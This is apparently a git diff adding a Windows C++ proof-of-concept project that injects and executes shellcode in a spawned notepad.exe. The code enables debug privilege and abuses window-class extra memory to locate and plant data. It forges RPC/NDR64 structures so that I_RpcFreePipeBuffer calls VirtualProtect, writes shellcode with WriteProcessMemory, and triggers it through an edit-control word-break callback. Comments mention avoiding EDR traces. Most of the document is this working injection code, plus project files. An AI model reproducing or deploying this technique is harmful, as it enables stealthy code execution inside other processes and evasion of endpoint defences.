*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_CLS_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)TheNotepadTagClsAddress) + + // NdrServerCallAll(pRpcMsg) + // pRpcMsg = Shellcode + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + // rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress + // + 0x100的位置设置virtualprotect + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段 + //*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar; + ////为了通过Ndr64pServerUnMarshal最后的那一段 + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 2; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + + // const auto shellcodeAddress = tmpShellcode + calcOffset; + // memcpy(shellcodeAddress, payload, sizeof(payload)); + // calcOffset += sizeof(payload); + + // typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM + // wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); + // FnNtUserMessageCall NtUserMessageCall = + // (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"), + // "NtUserMessageCall"); + // + // 执行payload + // 1.给回调设置参数为我们的payload + // SendMessageA才生效,不知道为什么,否则会报60 + auto result1 = + SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress); + // auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0, + // (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1); + // 等完全输入完毕 + WaitForInputIdle(pi.hProcess, INFINITE); + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + + // ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用** + // 我直接writememory让那个地方看起来像是英文系统 + auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0); + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + //WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + // sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress; + const auto editShellcodeLocation = shellcodeAddress + sizeof(uint64_t); + + auto tempCover = (uint64_t)editShellcodeLocation; + memcpy(paramsBuffer, &tempCover, 8); + buildVirtualProtectShellCode(editShellcode, + editShellcodeLocation, + theNdrServerCallAllAddress, + editShellcodeLocation, + virtualProtectReturnValue); + + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)editShellcodeLocation), editShellcode, + allocShellcodeSize, &numOfWrite); + + // 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面 + /* + auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode + + calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset; + memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8); + calcOffset += sizeof(uint64_t); + *(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode + + calcOffset)); calcOffset += sizeof(uint64_t); + */ + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + for (size_t i = 0; i < allocShellcodeSize; i++) { + NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE); + } + + // 2.设置I_RpcFreePipeBuffer为回调地址 + // bp rpcrt4!I_RpcFreePipeBuffer + result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0, + (LPARAM)theI_RpcFreePipeBufferAddr); + + // 3. 激活 + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + // 4. cleanup + SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); + + // SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH); + // SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p); + return 0; +} + +int main() { wWinMain(0, 0, 0, 0); } diff --git a/shit.h b/shit.h new file mode 100644 index 0000000..b798bf5 --- /dev/null +++ b/shit.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/shit.ico b/shit.ico new file mode 100644 index 0000000..b3ec03b Binary files /dev/null and b/shit.ico differ diff --git a/shit.rc b/shit.rc new file mode 100644 index 0000000..edff5c4 Binary files /dev/null and b/shit.rc differ diff --git a/shit.sln b/shit.sln new file mode 100644 index 0000000..1ba808b --- /dev/null +++ b/shit.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32802.440 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shit", "shit.vcxproj", "{75C28BC1-B226-487A-9DAA-3E6C03894943}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.ActiveCfg = Debug|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.Build.0 = Debug|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.ActiveCfg = Debug|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.Build.0 = Debug|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.ActiveCfg = Release|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.Build.0 = Release|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.ActiveCfg = Release|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6175F5C8-522A-4C38-91B0-5B3462BF20F1} + EndGlobalSection +EndGlobal diff --git a/shit.vcxproj b/shit.vcxproj new file mode 100644 index 0000000..783b40d --- /dev/null +++ b/shit.vcxproj @@ -0,0 +1,163 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {75c28bc1-b226-487a-9daa-3e6c03894943} + shit + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + Level3 + true + _DEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/shit.vcxproj.filters b/shit.vcxproj.filters new file mode 100644 index 0000000..123a1b2 --- /dev/null +++ b/shit.vcxproj.filters @@ -0,0 +1,58 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + 源文件 + + + + + 资源文件 + + + + + 资源文件 + + + 资源文件 + + + \ No newline at end of file diff --git a/shit_2.cpp b/shit_2.cpp new file mode 100644 index 0000000..a1f93da --- /dev/null +++ b/shit_2.cpp @@ -0,0 +1,777 @@ +// shit.cpp : 定义应用程序的入口点。 +// + +#include "framework.h" +#include "shit.h" +#include +#include +#include "teb_def.h" +#include "rpc.h" +PVOID +SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address, + SIZE_T readSize); + +PVOID +LookupTagClsAddressByProcess(HANDLE ProcessHandle) { +#ifdef _WIN64 +#define START_ADDRESS (PVOID)0x00000000010000 +#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000) +#else +#define START_ADDRESS (PVOID)0x10000 +#define END_ADDRESS (0x7FFF0000 - 0x10000) +#endif + typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID, + SIZE_T, PSIZE_T); + static FnZwQueryVirtualMemory ZwQueryVirtualMemory = + (FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), + "ZwQueryVirtualMemory"); + if (!ZwQueryVirtualMemory) { + std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: " + << GetLastError() << std::endl; + return 0; + } + MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0}; + PVOID CurrentAddress = START_ADDRESS; + uint64_t TheTagClsAddress = 0; + SIZE_T BytesReturned = 0; + + while (true) { + BOOLEAN ContinueEnum = FALSE; + + RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo)); + + auto ntStatus = ZwQueryVirtualMemory( + ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo, + sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned); + + if (ntStatus != 0) break; + + do { + if (MemoryBasicInfo.State != MEM_COMMIT) { + break; + } + if (MemoryBasicInfo.Type != MEM_PRIVATE && + MemoryBasicInfo.Type != MEM_MAPPED) { + break; + } + + // 自己的是PAGE_READWRITE 别人的是PAGE_READONLY + if (MemoryBasicInfo.Protect != PAGE_READONLY) { + break; + } + + TheTagClsAddress = (uint64_t)SundaySearch_ByProcess( + ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69", + (UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize); + if (TheTagClsAddress != NULL) { + break; + } + + } while (FALSE); + if (TheTagClsAddress != 0) { + break; + } + CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress + + MemoryBasicInfo.RegionSize); + } + return (PVOID)TheTagClsAddress; +} + +void printHex(const char* name, const void* data, size_t size) { + printf("%s: ", name); + const unsigned char* byteData = (const unsigned char*)data; + for (size_t i = 0; i < size; ++i) { + printf("%02X ", byteData[i]); + } + printf("\n"); +} + +struct _NDR64_PARAM_FLAGS { + unsigned __int16 MustSize : 1; + unsigned __int16 MustFree : 1; + unsigned __int16 IsPipe : 1; + unsigned __int16 IsIn : 1; + unsigned __int16 IsOut : 1; + unsigned __int16 IsReturn : 1; + unsigned __int16 IsBasetype : 1; + unsigned __int16 IsByValue : 1; + unsigned __int16 IsSimpleRef : 1; + unsigned __int16 IsDontCallFreeInst : 1; + unsigned __int16 SaveForAsyncFinish : 1; + unsigned __int16 IsPartialIgnore : 1; + unsigned __int16 IsForceAllocate : 1; + unsigned __int16 Reserved : 2; + unsigned __int16 UseCache : 1; +}; +typedef const void* PNDR64_FORMAT; +typedef struct _NDR64_PARAM_FORMAT { + void* Type; + _NDR64_PARAM_FLAGS Attributes; + unsigned __int16 Reserved; + unsigned __int32 StackOffset; +}; +/* +.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF: +Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const +*)+31B↑o .rdata:00007FFF3A2784E0 ; +Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ... +.rdata:00007FFF3A2784E1 db 1 +.rdata:00007FFF3A2784E2 db 1 +.rdata:00007FFF3A2784E3 db 2 +.rdata:00007FFF3A2784E4 db 2 +.rdata:00007FFF3A2784E5 db 4 +.rdata:00007FFF3A2784E6 db 4 +.rdata:00007FFF3A2784E7 db 8 +.rdata:00007FFF3A2784E8 db 8 +*/ +enum class _Ndr64SimpleTypeBUfferSizeMap { + kChar = 0, + kShort = 2, + kint32 = 4, + kint64 = 6 +}; +void PrivilegeEscalation() { + HANDLE hToken; + LUID luid; + TOKEN_PRIVILEGES tp; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken); + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + tp.Privileges[0].Luid = luid; + AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); +} +int APIENTRY wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, + _In_ int nCmdShow) { + PrivilegeEscalation(); + // 创建notepad进程,泄露就泄露了 去他妈的 + STARTUPINFO si = {sizeof(si)}; + PROCESS_INFORMATION pi; + if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL, + FALSE, 0, NULL, NULL, &si, &pi)) { + std::cerr << "CreateProcess failed: " << GetLastError() << std::endl; + return 1; + } + // 等完全起来 + WaitForInputIdle(pi.hProcess, INFINITE); + + // 获取notepad进程中edit窗口的句柄 + HWND hwndNotepad = FindWindow(L"Notepad", NULL); + HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL); + if (!hwndEdit) { + std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 注册一个带有额外类内存的窗口类 + // https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN + WNDCLASSEX wcex = {sizeof(wcex)}; + wcex.lpfnWndProc = DefWindowProc; + wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64; + wcex.lpszClassName = L"CustomWindowClass"; + wcex.hInstance = hInstance; + if (!RegisterClassEx(&wcex)) { + std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 创建一个仅消息窗口 + HWND hwndMessage = + CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0, + HWND_MESSAGE, NULL, hInstance, NULL); + if (!hwndMessage) { + std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + ShowWindow(hwndMessage, SW_SHOW); + UpdateWindow(hwndMessage); +#ifdef _WIN64 + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG64 dwNewLong, BOOL Ansi); +#else + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG dwNewLong, BOOL Ansi); + +#endif // _WIN64 + + FnNtUserSetClassLong NtUserSetClassLong = + (FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLong"); + + if (!NtUserSetClassLong) { + std::cerr << "NtUserSetClassLong GetProcAddress failed: " + << GetLastError() << std::endl; + return 1; + } + + /* + typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR + newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr = + (FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLongPtr"); + + if (!NtUserSetClassLongPtr) { + std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " << + GetLastError() << std::endl; return 1; + } + */ + const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0, + 0x68, 0x75, 0x6f, 0x6a, 0x69}; + // https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705 + // offset = 0 + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE); + } + // 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址 + // 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32 + // api edr绝对有痕迹 这里就是用readmemory + auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1); + if (TheTagClsAddress == 0) { + std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl; + return 1; + } + auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess); + if (TheNotepadTagClsAddress == 0) { + std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError() + << std::endl; + return 1; + } + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, 0x0, FALSE); + } + // 这个作者抄了这玩意 + // https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/ + // https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38 + + /* + RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) { + (*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD + *)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll + Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg + Message); + return 0; + } + */ + + /* + void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg) + { + struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax + unsigned int v2; // [rsp+50h] [rbp+8h] BYREF + + RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_ + **)pRpcMsg->RpcInterfaceInformation; v2 = 0; + ((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct + _MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *, + unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg, + RpcInterfaceInformation[0xA], + RpcInterfaceInformation[0xA]->DispatchTable, + RpcInterfaceInformation[0xA]->pSyntaxInfo + 1, + &v2); + } + */ + // 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。 + const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll"); + + const auto theNdrServerCallAllAddress = + (uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll"); + + const auto theI_RpcFreePipeBufferAddr = + GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer"); + const auto theVirtualProtectAddr = (void*)VirtualProtect; + + // PRPC_MESSAGE->Handle + /* + const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void* + remoteStartAddress, void* callAddress) -> void { static const auto maxSize = + sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new + char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto + remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress); + const auto remote_notepad_rpc_Message_handle = + (void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE)); + //这里会是RPC_MESSAGE开头 + + const auto remote_notepad_rpc_RpcInterfaceInformation = + (void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto + remote_notepad_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const + auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable + + 0x80); + + const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer); + const auto local_rpc_Message_handle = + (void*)((uint64_t)local_rpc_Message + + sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用 + + const auto local_rpc_RpcInterfaceInformation = + (void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100); + const auto local_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto + local_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80); + + local_rpc_Message->ProcNum = 0; //这里填0 + local_rpc_Message->RpcInterfaceInformation = + (void**)remote_notepad_rpc_RpcInterfaceInformation; + local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle; + // 填第一次Message->Handle + 0x80的地址 : + *(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) = + theNdrServerCallAllAddress; + + auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 * + sizeof(void*)); + *(uint32_t*)(wtf + 0x0) = 0x80;//长度 + *(uint64_t*)(wtf + 0x8) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组) + + auto local_rpc_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable); + *(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;// + dispath_count + *(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath; + // dispath_dispath + + auto local_rpc_dispath_table_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath); + *(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) = + (uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + auto baseIndex = (uint64_t)localStartAddress + 0x8 - + (uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++) + { + NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i], + FALSE); + } + delete[] tempBuffer; + }; + */ + // const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress + + // 0x8); const auto remoterpcMessage = + // (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + + /* + fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress), + (void*)((uint64_t)TheNotepadTagClsAddress), + (void*)theNdrServerCallAllAddress); + */ + + // const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage + // + sizeof(RPC_MESSAGE)); + // 现在再填一次local_rpc_Message_handle + // fnInitRpcMessageHandle((void*)localrpcMessage->Handle, + // (void*)remoterpcMessage, (void*)theVirtualProtectAddr); + // +0指向自己 +8的地方 + // *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) = + // (uint64_t)localrpcMessage; + + /* + char tempBuffer[8]; + memcpy(tempBuffer, &remoterpcMessage, 8); + for (size_t i = 0; i < 8; i++) + { + NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE); + } + */ + const auto allocShellcodeSize = 2048; + char* tmpShellcode = (char*)malloc(allocShellcodeSize); + memset(tmpShellcode, 0, allocShellcodeSize); + char* editShellcode = (char*)malloc(allocShellcodeSize); + memset(editShellcode, 0, allocShellcodeSize); + // I_RpcFreePipeBuffer(Message) + + // Message = EditControlPtr + // Message->Handle = Shellcode + // *Message->Handle = Shellcode + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress; + + // *Message->Handle + 0x80 = NdrServerCallAll + 